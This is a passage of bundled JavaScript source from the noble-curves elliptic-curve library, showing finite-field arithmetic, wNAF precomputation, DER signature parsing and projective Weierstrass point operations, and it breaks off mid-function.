0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaabn;\n // const NUM = 72057594037927816n;\n const p1div4 = (P + _1n) / _4n;\n return function sqrt3mod4(Fp, n) {\n const root = Fp.pow(n, p1div4);\n // Throw if root**2 != n\n if (!Fp.eql(Fp.sqr(root), n))\n throw new Error('Cannot find square root');\n return root;\n };\n }\n // Atkin algorithm for q ≡ 5 (mod 8), https://eprint.iacr.org/2012/685.pdf (page 10)\n if (P % _8n === _5n) {\n const c1 = (P - _5n) / _8n;\n return function sqrt5mod8(Fp, n) {\n const n2 = Fp.mul(n, _2n);\n const v = Fp.pow(n2, c1);\n const nv = Fp.mul(n, v);\n const i = Fp.mul(Fp.mul(nv, _2n), v);\n const root = Fp.mul(nv, Fp.sub(i, Fp.ONE));\n if (!Fp.eql(Fp.sqr(root), n))\n throw new Error('Cannot find square root');\n return root;\n };\n }\n // P ≡ 9 (mod 16)\n if (P % _16n === _9n) {\n // NOTE: tonelli is too slow for bls-Fp2 calculations even on start\n // Means we cannot use sqrt for constants at all!\n //\n // const c1 = Fp.sqrt(Fp.negate(Fp.ONE)); // 1. c1 = sqrt(-1) in F, i.e., (c1^2) == -1 in F\n // const c2 = Fp.sqrt(c1); // 2. c2 = sqrt(c1) in F, i.e., (c2^2) == c1 in F\n // const c3 = Fp.sqrt(Fp.negate(c1)); // 3. c3 = sqrt(-c1) in F, i.e., (c3^2) == -c1 in F\n // const c4 = (P + _7n) / _16n; // 4. c4 = (q + 7) / 16 # Integer arithmetic\n // sqrt = (x) => {\n // let tv1 = Fp.pow(x, c4); // 1. tv1 = x^c4\n // let tv2 = Fp.mul(c1, tv1); // 2. tv2 = c1 * tv1\n // const tv3 = Fp.mul(c2, tv1); // 3. tv3 = c2 * tv1\n // let tv4 = Fp.mul(c3, tv1); // 4. tv4 = c3 * tv1\n // const e1 = Fp.equals(Fp.square(tv2), x); // 5. e1 = (tv2^2) == x\n // const e2 = Fp.equals(Fp.square(tv3), x); // 6. e2 = (tv3^2) == x\n // tv1 = Fp.cmov(tv1, tv2, e1); // 7. tv1 = CMOV(tv1, tv2, e1) # Select tv2 if (tv2^2) == x\n // tv2 = Fp.cmov(tv4, tv3, e2); // 8. tv2 = CMOV(tv4, tv3, e2) # Select tv3 if (tv3^2) == x\n // const e3 = Fp.equals(Fp.square(tv2), x); // 9. e3 = (tv2^2) == x\n // return Fp.cmov(tv1, tv2, e3); // 10. z = CMOV(tv1, tv2, e3) # Select the sqrt from tv1 and tv2\n // }\n }\n // Other cases: Tonelli-Shanks algorithm\n return tonelliShanks(P);\n}\n// Little-endian check for first LE bit (last BE bit);\nexport const isNegativeLE = (num, modulo) => (mod(num, modulo) & _1n) === _1n;\n// prettier-ignore\nconst FIELD_FIELDS = [\n 'create', 'isValid', 'is0', 'neg', 'inv', 'sqrt', 'sqr',\n 'eql', 'add', 'sub', 'mul', 'pow', 'div',\n 'addN', 'subN', 'mulN', 'sqrN'\n];\nexport function validateField(field) {\n const initial = {\n ORDER: 'bigint',\n MASK: 'bigint',\n BYTES: 'isSafeInteger',\n BITS: 'isSafeInteger',\n };\n const opts = FIELD_FIELDS.reduce((map, val) => {\n map[val] = 'function';\n return map;\n }, initial);\n return validateObject(field, opts);\n}\n// Generic field functions\n/**\n * Same as `pow` but for Fp: non-constant-time.\n * Unsafe in some contexts: uses ladder, so can expose bigint bits.\n */\nexport function FpPow(f, num, power) {\n // Should have same speed as pow for bigints\n // TODO: benchmark!\n if (power < _0n)\n throw new Error('Expected power > 0');\n if (power === _0n)\n return f.ONE;\n if (power === _1n)\n return num;\n let p = f.ONE;\n let d = num;\n while (power > _0n) {\n if (power & _1n)\n p = f.mul(p, d);\n d = f.sqr(d);\n power >>= _1n;\n }\n return p;\n}\n/**\n * Efficiently invert an array of Field elements.\n * `inv(0)` will return `undefined` here: make sure to throw an error.\n */\nexport function FpInvertBatch(f, nums) {\n const tmp = new Array(nums.length);\n // Walk from first to last, multiply them by each other MOD p\n const lastMultiplied = nums.reduce((acc, num, i) => {\n if (f.is0(num))\n return acc;\n tmp[i] = acc;\n return f.mul(acc, num);\n }, f.ONE);\n // Invert last element\n const inverted = f.inv(lastMultiplied);\n // Walk from last to first, multiply them by inverted each other MOD p\n nums.reduceRight((acc, num, i) => {\n if (f.is0(num))\n return acc;\n tmp[i] = f.mul(acc, tmp[i]);\n return f.mul(acc, num);\n }, inverted);\n return tmp;\n}\nexport function FpDiv(f, lhs, rhs) {\n return f.mul(lhs, typeof rhs === 'bigint' ? invert(rhs, f.ORDER) : f.inv(rhs));\n}\n// This function returns True whenever the value x is a square in the field F.\nexport function FpIsSquare(f) {\n const legendreConst = (f.ORDER - _1n) / _2n; // Integer arithmetic\n return (x) => {\n const p = f.pow(x, legendreConst);\n return f.eql(p, f.ZERO) || f.eql(p, f.ONE);\n };\n}\n// CURVE.n lengths\nexport function nLength(n, nBitLength) {\n // Bit size, byte size of CURVE.n\n const _nBitLength = nBitLength !== undefined ? nBitLength : n.toString(2).length;\n const nByteLength = Math.ceil(_nBitLength / 8);\n return { nBitLength: _nBitLength, nByteLength };\n}\n/**\n * Initializes a finite field over prime. **Non-primes are not supported.**\n * Do not init in loop: slow. Very fragile: always run a benchmark on a change.\n * Major performance optimizations:\n * * a) denormalized operations like mulN instead of mul\n * * b) same object shape: never add or remove keys\n * * c) Object.freeze\n * @param ORDER prime positive bigint\n * @param bitLen how many bits the field consumes\n * @param isLE (def: false) if encoding / decoding should be in little-endian\n * @param redef optional faster redefinitions of sqrt and other methods\n */\nexport function Field(ORDER, bitLen, isLE = false, redef = {}) {\n if (ORDER <= _0n)\n throw new Error(`Expected Field ORDER > 0, got ${ORDER}`);\n const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, bitLen);\n if (BYTES > 2048)\n throw new Error('Field lengths over 2048 bytes are not supported');\n const sqrtP = FpSqrt(ORDER);\n const f = Object.freeze({\n ORDER,\n BITS,\n BYTES,\n MASK: bitMask(BITS),\n ZERO: _0n,\n ONE: _1n,\n create: (num) => mod(num, ORDER),\n isValid: (num) => {\n if (typeof num !== 'bigint')\n throw new Error(`Invalid field element: expected bigint, got ${typeof num}`);\n return _0n <= num && num < ORDER; // 0 is valid element, but it's not invertible\n },\n is0: (num) => num === _0n,\n isOdd: (num) => (num & _1n) === _1n,\n neg: (num) => mod(-num, ORDER),\n eql: (lhs, rhs) => lhs === rhs,\n sqr: (num) => mod(num * num, ORDER),\n add: (lhs, rhs) => mod(lhs + rhs, ORDER),\n sub: (lhs, rhs) => mod(lhs - rhs, ORDER),\n mul: (lhs, rhs) => mod(lhs * rhs, ORDER),\n pow: (num, power) => FpPow(f, num, power),\n div: (lhs, rhs) => mod(lhs * invert(rhs, ORDER), ORDER),\n // Same as above, but doesn't normalize\n sqrN: (num) => num * num,\n addN: (lhs, rhs) => lhs + rhs,\n subN: (lhs, rhs) => lhs - rhs,\n mulN: (lhs, rhs) => lhs * rhs,\n inv: (num) => invert(num, ORDER),\n sqrt: redef.sqrt || ((n) => sqrtP(f, n)),\n invertBatch: (lst) => FpInvertBatch(f, lst),\n // TODO: do we really need constant cmov?\n // We don't have const-time bigints anyway, so probably will be not very useful\n cmov: (a, b, c) => (c ? b : a),\n toBytes: (num) => (isLE ? numberToBytesLE(num, BYTES) : numberToBytesBE(num, BYTES)),\n fromBytes: (bytes) => {\n if (bytes.length !== BYTES)\n throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`);\n return isLE ? bytesToNumberLE(bytes) : bytesToNumberBE(bytes);\n },\n });\n return Object.freeze(f);\n}\nexport function FpSqrtOdd(Fp, elm) {\n if (!Fp.isOdd)\n throw new Error(`Field doesn't have isOdd`);\n const root = Fp.sqrt(elm);\n return Fp.isOdd(root) ? root : Fp.neg(root);\n}\nexport function FpSqrtEven(Fp, elm) {\n if (!Fp.isOdd)\n throw new Error(`Field doesn't have isOdd`);\n const root = Fp.sqrt(elm);\n return Fp.isOdd(root) ? Fp.neg(root) : root;\n}\n/**\n * \"Constant-time\" private key generation utility.\n * Same as mapKeyToField, but accepts less bytes (40 instead of 48 for 32-byte field).\n * Which makes it slightly more biased, less secure.\n * @deprecated use mapKeyToField instead\n */\nexport function hashToPrivateScalar(hash, groupOrder, isLE = false) {\n hash = ensureBytes('privateHash', hash);\n const hashLen = hash.length;\n const minLen = nLength(groupOrder).nByteLength + 8;\n if (minLen < 24 || hashLen < minLen || hashLen > 1024)\n throw new Error(`hashToPrivateScalar: expected ${minLen}-1024 bytes of input, got ${hashLen}`);\n const num = isLE ? bytesToNumberLE(hash) : bytesToNumberBE(hash);\n return mod(num, groupOrder - _1n) + _1n;\n}\n/**\n * Returns total number of bytes consumed by the field element.\n * For example, 32 bytes for usual 256-bit weierstrass curve.\n * @param fieldOrder number of field elements, usually CURVE.n\n * @returns byte length of field\n */\nexport function getFieldBytesLength(fieldOrder) {\n if (typeof fieldOrder !== 'bigint')\n throw new Error('field order must be bigint');\n const bitLength = fieldOrder.toString(2).length;\n return Math.ceil(bitLength / 8);\n}\n/**\n * Returns minimal amount of bytes that can be safely reduced\n * by field order.\n * Should be 2^-128 for 128-bit curve such as P256.\n * @param fieldOrder number of field elements, usually CURVE.n\n * @returns byte length of target hash\n */\nexport function getMinHashLength(fieldOrder) {\n const length = getFieldBytesLength(fieldOrder);\n return length + Math.ceil(length / 2);\n}\n/**\n * \"Constant-time\" private key generation utility.\n * Can take (n + n/2) or more bytes of uniform input e.g. from CSPRNG or KDF\n * and convert them into private scalar, with the modulo bias being negligible.\n * Needs at least 48 bytes of input for 32-byte private key.\n * https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/\n * FIPS 186-5, A.2 https://csrc.nist.gov/publications/detail/fips/186/5/final\n * RFC 9380, https://www.rfc-editor.org/rfc/rfc9380#section-5\n * @param hash hash output from SHA3 or a similar function\n * @param groupOrder size of subgroup - (e.g. secp256k1.CURVE.n)\n * @param isLE interpret hash bytes as LE num\n * @returns valid private scalar\n */\nexport function mapHashToField(key, fieldOrder, isLE = false) {\n const len = key.length;\n const fieldLen = getFieldBytesLength(fieldOrder);\n const minLen = getMinHashLength(fieldOrder);\n // No small numbers: need to understand bias story. No huge numbers: easier to detect JS timings.\n if (len < 16 || len < minLen || len > 1024)\n throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`);\n const num = isLE ? bytesToNumberBE(key) : bytesToNumberLE(key);\n // `mod(x, 11)` can sometimes produce 0. `mod(x, 10) + 1` is the same, but no 0\n const reduced = mod(num, fieldOrder - _1n) + _1n;\n return isLE ? numberToBytesLE(reduced, fieldLen) : numberToBytesBE(reduced, fieldLen);\n}\n//# sourceMappingURL=modular.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// Abelian group utilities\nimport { validateField, nLength } from './modular.js';\nimport { validateObject } from './utils.js';\nconst _0n = BigInt(0);\nconst _1n = BigInt(1);\n// Elliptic curve multiplication of Point by scalar. Fragile.\n// Scalars should always be less than curve order: this should be checked inside of a curve itself.\n// Creates precomputation tables for fast multiplication:\n// - private scalar is split by fixed size windows of W bits\n// - every window point is collected from window's table & added to accumulator\n// - since windows are different, same point inside tables won't be accessed more than once per calc\n// - each multiplication is 'Math.ceil(CURVE_ORDER / 𝑊) + 1' point additions (fixed for any scalar)\n// - +1 window is neccessary for wNAF\n// - wNAF reduces table size: 2x less memory + 2x faster generation, but 10% slower multiplication\n// TODO: Research returning 2d JS array of windows, instead of a single window. This would allow\n// windows to be in different memory locations\nexport function wNAF(c, bits) {\n const constTimeNegate = (condition, item) => {\n const neg = item.negate();\n return condition ? neg : item;\n };\n const opts = (W) => {\n const windows = Math.ceil(bits / W) + 1; // +1, because\n const windowSize = 2 ** (W - 1); // -1 because we skip zero\n return { windows, windowSize };\n };\n return {\n constTimeNegate,\n // non-const time multiplication ladder\n unsafeLadder(elm, n) {\n let p = c.ZERO;\n let d = elm;\n while (n > _0n) {\n if (n & _1n)\n p = p.add(d);\n d = d.double();\n n >>= _1n;\n }\n return p;\n },\n /**\n * Creates a wNAF precomputation window. Used for caching.\n * Default window size is set by `utils.precompute()` and is equal to 8.\n * Number of precomputed points depends on the curve size:\n * 2^(𝑊−1) * (Math.ceil(𝑛 / 𝑊) + 1), where:\n * - 𝑊 is the window size\n * - 𝑛 is the bitlength of the curve order.\n * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224.\n * @returns precomputed point tables flattened to a single array\n */\n precomputeWindow(elm, W) {\n const { windows, windowSize } = opts(W);\n const points = [];\n let p = elm;\n let base = p;\n for (let window = 0; window < windows; window++) {\n base = p;\n points.push(base);\n // =1, because we skip zero\n for (let i = 1; i < windowSize; i++) {\n base = base.add(p);\n points.push(base);\n }\n p = base.double();\n }\n return points;\n },\n /**\n * Implements ec multiplication using precomputed tables and w-ary non-adjacent form.\n * @param W window size\n * @param precomputes precomputed tables\n * @param n scalar (we don't check here, but should be less than curve order)\n * @returns real and fake (for const-time) points\n */\n wNAF(W, precomputes, n) {\n // TODO: maybe check that scalar is less than group order? wNAF behavious is undefined otherwise\n // But need to carefully remove other checks before wNAF. ORDER == bits here\n const { windows, windowSize } = opts(W);\n let p = c.ZERO;\n let f = c.BASE;\n const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc.\n const maxNumber = 2 ** W;\n const shiftBy = BigInt(W);\n for (let window = 0; window < windows; window++) {\n const offset = window * windowSize;\n // Extract W bits.\n let wbits = Number(n & mask);\n // Shift number by W bits.\n n >>= shiftBy;\n // If the bits are bigger than max size, we'll split those.\n // +224 => 256 - 32\n if (wbits > windowSize) {\n wbits -= maxNumber;\n n += _1n;\n }\n // This code was first written with assumption that 'f' and 'p' will never be infinity point:\n // since each addition is multiplied by 2 ** W, it cannot cancel each other. However,\n // there is negate now: it is possible that negated element from low value\n // would be the same as high element, which will create carry into next window.\n // It's not obvious how this can fail, but still worth investigating later.\n // Check if we're onto Zero point.\n // Add random point inside current window to f.\n const offset1 = offset;\n const offset2 = offset + Math.abs(wbits) - 1; // -1 because we skip zero\n const cond1 = window % 2 !== 0;\n const cond2 = wbits < 0;\n if (wbits === 0) {\n // The most important part for const-time getPublicKey\n f = f.add(constTimeNegate(cond1, precomputes[offset1]));\n }\n else {\n p = p.add(constTimeNegate(cond2, precomputes[offset2]));\n }\n }\n // JIT-compiler should not eliminate f here, since it will later be used in normalizeZ()\n // Even if the variable is still unused, there are some checks which will\n // throw an exception, so compiler needs to prove they won't happen, which is hard.\n // At this point there is a way to F be infinity-point even if p is not,\n // which makes it less const-time: around 1 bigint multiply.\n return { p, f };\n },\n wNAFCached(P, precomputesMap, n, transform) {\n // @ts-ignore\n const W = P._WINDOW_SIZE || 1;\n // Calculate precomputes on a first run, reuse them after\n let comp = precomputesMap.get(P);\n if (!comp) {\n comp = this.precomputeWindow(P, W);\n if (W !== 1) {\n precomputesMap.set(P, transform(comp));\n }\n }\n return this.wNAF(W, comp, n);\n },\n };\n}\nexport function validateBasic(curve) {\n validateField(curve.Fp);\n validateObject(curve, {\n n: 'bigint',\n h: 'bigint',\n Gx: 'field',\n Gy: 'field',\n }, {\n nBitLength: 'isSafeInteger',\n nByteLength: 'isSafeInteger',\n });\n // Set defaults\n return Object.freeze({\n ...nLength(curve.n, curve.nBitLength),\n ...curve,\n ...{ p: curve.Fp.ORDER },\n });\n}\n//# sourceMappingURL=curve.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// Short Weierstrass curve. The formula is: y² = x³ + ax + b\nimport * as mod from './modular.js';\nimport * as ut from './utils.js';\nimport { ensureBytes } from './utils.js';\nimport { wNAF, validateBasic } from './curve.js';\nfunction validatePointOpts(curve) {\n const opts = validateBasic(curve);\n ut.validateObject(opts, {\n a: 'field',\n b: 'field',\n }, {\n allowedPrivateKeyLengths: 'array',\n wrapPrivateKey: 'boolean',\n isTorsionFree: 'function',\n clearCofactor: 'function',\n allowInfinityPoint: 'boolean',\n fromBytes: 'function',\n toBytes: 'function',\n });\n const { endo, Fp, a } = opts;\n if (endo) {\n if (!Fp.eql(a, Fp.ZERO)) {\n throw new Error('Endomorphism can only be defined for Koblitz curves that have a=0');\n }\n if (typeof endo !== 'object' ||\n typeof endo.beta !== 'bigint' ||\n typeof endo.splitScalar !== 'function') {\n throw new Error('Expected endomorphism with beta: bigint and splitScalar: function');\n }\n }\n return Object.freeze({ ...opts });\n}\n// ASN.1 DER encoding utilities\nconst { bytesToNumberBE: b2n, hexToBytes: h2b } = ut;\nexport const DER = {\n // asn.1 DER encoding utils\n Err: class DERErr extends Error {\n constructor(m = '') {\n super(m);\n }\n },\n _parseInt(data) {\n const { Err: E } = DER;\n if (data.length < 2 || data[0] !== 0x02)\n throw new E('Invalid signature integer tag');\n const len = data[1];\n const res = data.subarray(2, len + 2);\n if (!len || res.length !== len)\n throw new E('Invalid signature integer: wrong length');\n // https://crypto.stackexchange.com/a/57734 Leftmost bit of first byte is 'negative' flag,\n // since we always use positive integers here. It must always be empty:\n // - add zero byte if exists\n // - if next byte doesn't have a flag, leading zero is not allowed (minimal encoding)\n if (res[0] & 0b10000000)\n throw new E('Invalid signature integer: negative');\n if (res[0] === 0x00 && !(res[1] & 0b10000000))\n throw new E('Invalid signature integer: unnecessary leading zero');\n return { d: b2n(res), l: data.subarray(len + 2) }; // d is data, l is left\n },\n toSig(hex) {\n // parse DER signature\n const { Err: E } = DER;\n const data = typeof hex === 'string' ? h2b(hex) : hex;\n if (!(data instanceof Uint8Array))\n throw new Error('ui8a expected');\n let l = data.length;\n if (l < 2 || data[0] != 0x30)\n throw new E('Invalid signature tag');\n if (data[1] !== l - 2)\n throw new E('Invalid signature: incorrect length');\n const { d: r, l: sBytes } = DER._parseInt(data.subarray(2));\n const { d: s, l: rBytesLeft } = DER._parseInt(sBytes);\n if (rBytesLeft.length)\n throw new E('Invalid signature: left bytes after parsing');\n return { r, s };\n },\n hexFromSig(sig) {\n // Add leading zero if first byte has negative bit enabled. More details in '_parseInt'\n const slice = (s) => (Number.parseInt(s[0], 16) & 0b1000 ? '00' + s : s);\n const h = (num) => {\n const hex = num.toString(16);\n return hex.length & 1 ? `0${hex}` : hex;\n };\n const s = slice(h(sig.s));\n const r = slice(h(sig.r));\n const shl = s.length / 2;\n const rhl = r.length / 2;\n const sl = h(shl);\n const rl = h(rhl);\n return `30${h(rhl + shl + 4)}02${rl}${r}02${sl}${s}`;\n },\n};\n// Be friendly to bad ECMAScript parsers by not using bigint literals\n// prettier-ignore\nconst _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4);\nexport function weierstrassPoints(opts) {\n const CURVE = validatePointOpts(opts);\n const { Fp } = CURVE; // All curves has same field / group length as for now, but they can differ\n const toBytes = CURVE.toBytes ||\n ((_c, point, _isCompressed) => {\n const a = point.toAffine();\n return ut.concatBytes(Uint8Array.from([0x04]), Fp.toBytes(a.x), Fp.toBytes(a.y));\n });\n const fromBytes = CURVE.fromBytes ||\n ((bytes) => {\n // const head = bytes[0];\n const tail = bytes.subarray(1);\n // if (head !== 0x04) throw new Error('Only non-compressed encoding is supported');\n const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES));\n const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES));\n return { x, y };\n });\n /**\n * y² = x³ + ax + b: Short weierstrass curve formula\n * @returns y²\n */\n function weierstrassEquation(x) {\n const { a, b } = CURVE;\n const x2 = Fp.sqr(x); // x * x\n const x3 = Fp.mul(x2, x); // x2 * x\n return Fp.add(Fp.add(x3, Fp.mul(x, a)), b); // x3 + a * x + b\n }\n // Validate whether the passed curve params are valid.\n // We check if curve equation works for generator point.\n // `assertValidity()` won't work: `isTorsionFree()` is not available at this point in bls12-381.\n // ProjectivePoint class has not been initialized yet.\n if (!Fp.eql(Fp.sqr(CURVE.Gy), weierstrassEquation(CURVE.Gx)))\n throw new Error('bad generator point: equation left != right');\n // Valid group elements reside in range 1..n-1\n function isWithinCurveOrder(num) {\n return typeof num === 'bigint' && _0n < num && num < CURVE.n;\n }\n function assertGE(num) {\n if (!isWithinCurveOrder(num))\n throw new Error('Expected valid bigint: 0 < bigint < curve.n');\n }\n // Validates if priv key is valid and converts it to bigint.\n // Supports options allowedPrivateKeyLengths and wrapPrivateKey.\n function normPrivateKeyToScalar(key) {\n const { allowedPrivateKeyLengths: lengths, nByteLength, wrapPrivateKey, n } = CURVE;\n if (lengths && typeof key !== 'bigint') {\n if (key instanceof Uint8Array)\n key = ut.bytesToHex(key);\n // Normalize to hex string, pad. E.g. P521 would norm 130-132 char hex to 132-char bytes\n if (typeof key !== 'string' || !lengths.includes(key.length))\n throw new Error('Invalid key');\n key = key.padStart(nByteLength * 2, '0');\n }\n let num;\n try {\n num =\n typeof key === 'bigint'\n ? key\n : ut.bytesToNumberBE(ensureBytes('private key', key, nByteLength));\n }\n catch (error) {\n throw new Error(`private key must be ${nByteLength} bytes, hex or bigint, not ${typeof key}`);\n }\n if (wrapPrivateKey)\n num = mod.mod(num, n); // disabled by default, enabled for BLS\n assertGE(num); // num in range [1..N-1]\n return num;\n }\n const pointPrecomputes = new Map();\n function assertPrjPoint(other) {\n if (!(other instanceof Point))\n throw new Error('ProjectivePoint expected');\n }\n /**\n * Projective Point works in 3d / projective (homogeneous) coordinates: (x, y, z) ∋ (x=x/z, y=y/z)\n * Default Point works in 2d / affine coordinates: (x, y)\n * We're doing calculations in projective, because its operations don't require costly inversion.\n */\n class Point {\n constructor(px, py, pz) {\n this.px = px;\n this.py = py;\n this.pz = pz;\n if (px == null || !Fp.isValid(px))\n throw new Error('x required');\n if (py == null || !Fp.isValid(py))\n throw new Error('y required');\n if (pz == null || !Fp.isValid(pz))\n throw new Error('z required');\n }\n // Does not validate if the point is on-curve.\n // Use fromHex instead, or call assertValidity() later.\n static fromAffine(p) {\n const { x, y } = p || {};\n if (!p || !Fp.isValid(x) || !Fp.isValid(y))\n throw new Error('invalid affine point');\n if (p instanceof Point)\n throw new Error('projective point not allowed');\n const is0 = (i) => Fp.eql(i, Fp.ZERO);\n // fromAffine(x:0, y:0) would produce (x:0, y:0, z:1), but we need (x:0, y:1, z:0)\n if (is0(x) && is0(y))\n return Point.ZERO;\n return new Point(x, y, Fp.ONE);\n }\n get x() {\n return this.toAffine().x;\n }\n get y() {\n return this.toAffine().y;\n }\n /**\n * Takes a bunch of Projective Points but executes only one\n * inversion on all of them. Inversion is very slow operation,\n * so this improves performance massively.\n * Optimization: converts a list of projective points to a list of identical points with Z=1.\n */\n static normalizeZ(points) {\n const toInv = Fp.invertBatch(points.map((p) => p.pz));\n return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine);\n }\n /**\n * Converts hash string or Uint8Array to Point.\n * @param hex short/long ECDSA hex\n */\n static fromHex(hex) {\n const P = Point.fromAffine(fromBytes(ensureBytes('pointHex', hex)));\n P.assertValidity();\n return P;\n }\n // Multiplies generator point by privateKey.\n static fromPrivateKey(privateKey) {\n return Point.BASE.multiply(normPrivateKeyToScalar(privateKey));\n }\n // \"Private method\", don't use it directly\n _setWindowSize(windowSize) {\n this._WINDOW_SIZE = windowSize;\n pointPrecomputes.delete(this);\n }\n // A point on curve is valid if it conforms to equation.\n assertValidity() {\n if (this.is0()) {\n // (0, 1, 0) aka ZERO is invalid in most contexts.\n // In BLS, ZERO can be serialized, so we allow it.\n // (0, 0, 0) is wrong representation of ZERO and is always invalid.\n if (CURVE.allowInfinityPoint && !Fp.is0(this.py))\n return;\n throw new Error('bad point: ZERO');\n }\n // Some 3rd-party test vectors require different wording between here & `fromCompressedHex`\n const { x, y } = this.toAffine();\n // Check if x, y are valid field elements\n if (!Fp.isValid(x) || !Fp.isValid(y))\n throw new Error('bad point: x or y not FE');\n const left = Fp.sqr(y); // y²\n const right = weierstrassEquation(x); // x³ + ax + b\n if (!Fp.eql(left, right))\n throw new Error('bad point: equation left != right');\n if (!this.isTorsionFree())\n throw new Error('bad point: not in prime-order subgroup');\n }\n hasEvenY() {\n const { y } = this.toAffine();\n if (Fp.isOdd)\n return !Fp.isOdd(y);\n throw new Error(\"Field doesn't support isOdd\");\n }\n /**\n * Compare one point to another.\n */\n equals(other) {\n assertPrjPoint(other);\n const { px: X1, py: Y1, pz: Z1 } = this;\n const { px: X2, py: Y2, pz: Z2 } = other;\n const U1 = Fp.eql(Fp.mul(X1, Z2), Fp.mul(X2, Z1));\n const U2 = Fp.eql(Fp.mul(Y1, Z2), Fp.mul(Y2, Z1));\n return U1 && U2;\n }\n /**\n * Flips point to one corresponding to (x, -y) in Affine coordinates.\n */\n negate() {\n return new Point(this.px, Fp.neg(this.py), this.pz);\n }\n // Renes-Costello-Batina exception-free doubling formula.\n // There is 30% faster Jacobian formula, but it is not complete.\n // https://eprint.iacr.org/2015/1060, algorithm 3\n // Cost: 8M + 3S + 3*a + 2*b3 + 15add.\n double() {\n const { a, b } = CURVE;\n const b3 = Fp.mul(b, _3n);\n const { px: X1, py: Y1, pz: Z1 } = this;\n let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore\n let t0 = Fp.mul(X1, X1); // step 1\n let t1 = Fp.mul(Y1, Y1);\n let t2 = Fp.mul(Z1, Z1);\n let t3 = Fp.mul(X1, Y1);\n t3 = Fp.add(t3, t3); // step 5\n Z3 = Fp.mul(X1, Z1);\n Z3 = Fp.add(Z3, Z3);\n X3 = Fp.mul(a, Z3);\n Y3 = Fp.mul(b3, t2);\n Y3 = Fp.add(X3, Y3); // step 10\n X3 = Fp.sub(t1, Y3);\n Y3 = Fp.add(t1, Y3);\n Y3 = Fp.mul(X3, Y3);\n X3 = Fp.mul(t3, X3);\n Z3 = Fp.mul(b3, Z3); // step 15\n t2 = Fp.mul(a, t2);\n t3 = Fp.sub(t0, t2);\n t3 = Fp.mul(a, t3);\n t3 = Fp.add(t3, Z3);\n Z3 = Fp.add(t0, t0); // step 20\n t0 = Fp.add(Z3, t0);\n t0 = Fp.add(t0, t2);\n t0 = Fp.mul(t0, t3);\n Y3 = Fp.add(Y3, t0);\n t2 = Fp.mul(Y1, Z1); // step 25\n t2 = Fp.add(t2, t2);\n t0 = Fp.mul(t2, t3);\n X3 = Fp.sub(X3, t0);\n Z3 = Fp.mul(t2, t1);\n Z3 = Fp.add(Z3, Z3); // step 30\n Z3 = Fp.add(Z3, Z3);\n return new Point(X3, Y3, Z3);\n }\n // Renes-Costello-Batina exception-free addition formula.\n // There is 30% faster Jacobian formula, but it is not complete.\n // https://eprint.iacr.org/2015/1060, algorithm 1\n // Cost: 12M + 0S + 3*a + 3*b3 + 23add.\n add(other) {\n assertPrjPoint(other);\n const { px: X1, py: Y1, pz: Z1 } = this;\n const { px: X2, py: Y2, pz: Z2 } = other;\n let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore\n const a = CURVE.a;\n const b3 = Fp.mul(CURVE.b, _3n);\n let t0 = Fp.mul(X1, X2); // step 1\n let t1 = Fp.mul(Y1, Y2);\n let t2 = Fp.mul(Z1, Z2);\n let t3 = Fp.add(X1, Y1);\n let t4 = Fp.add(X2, Y2); // step 5\n t3 = Fp.mul(t3, t4);\n t4 = Fp.add(t0, t1);\n t3 = Fp.sub(t3, t4);\n t4 = Fp.add(X1, Z1);\n let t5 = Fp.add(X2, Z2); // step 10\n t4 = Fp.mul(t4, t5);\n t5 = Fp.add(t0, t2);\n t4 = Fp.sub(t4, t5);\n t5 = Fp.add(Y1, Z1);\n X3 = Fp.add(Y2, Z2); // step 15\n t5 = Fp.mul(t5, X3);\n X3 = Fp.add(t1, t2);\n t5 = Fp.sub(t5, X3);\n Z3 = Fp.mul(a, t4);\n X3 = Fp.mul(b3, t2); // step 20\n Z3 = Fp.add(X3, Z3);\n X3 = Fp.sub(t1, Z3);\n Z3 = Fp.add(t1, Z3);\n Y3 = Fp.mul(X3, Z3);\n t1 = Fp.add(t0, t0); // step 25\n t1 = Fp.add(t1, t0);\n t2 = Fp.mul(a, t2);\n t4 = Fp.mul(b3, t4);\n t1 = Fp.add(t1, t2);\n t2 = Fp.sub(t0, t2); // step 30\n t2 = Fp.mul(a, t2);\n t4 = Fp.add(t4, t2);\n t0 = Fp.mul(t1, t4);\n Y3 = Fp.add(Y3, t0);\n t0 = Fp.mul(t5, t4); // step 35\n X3 = Fp.mul(t3, X3);\n X3 = Fp.sub(X3, t0);\n t0 = Fp.mul(t3, t1);\n Z3 = Fp.mul(t5, Z3);\n Z3 = Fp.add(Z3, t0); // step 40\n return new Point(X3, Y3, Z3);\n }\n subtract(other) {\n return this.add(other.negate());\n }\n is0() {\n return this.equals(Point.ZERO);\n }\n wNAF(n) {\n return wnaf.wNAFCached(this, pointPrecomputes, n, (comp) => {\n const toInv = Fp.invertBatch(comp.map((p) => p.pz));\n return comp.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine);\n });\n }\n /**\n * Non-constant-time multiplication. Uses double-and-add algorithm.\n * It's faster, but should only be used when you don't care about\n * an exposed private key e.g. sig verification, which works over *public* keys.\n */\n multiplyUnsafe(n) {\n const I = Point.ZERO;\n if (n === _0n)\n return I;\n assertGE(n); // Will throw on 0\n if (n === _1n)\n return this;\n const { endo } = CURVE;\n if (!endo)\n return wnaf.unsafeLadder(this, n);\n // Apply endomorphism\n let { k1neg, k1, k2neg, k2 } = endo.splitScalar(n);\n let k1p = I;\n let k2p = I;\n let d = this;\n while (k1 > _0n || k2 > _0n) {\n if (k1 & _1n)\n 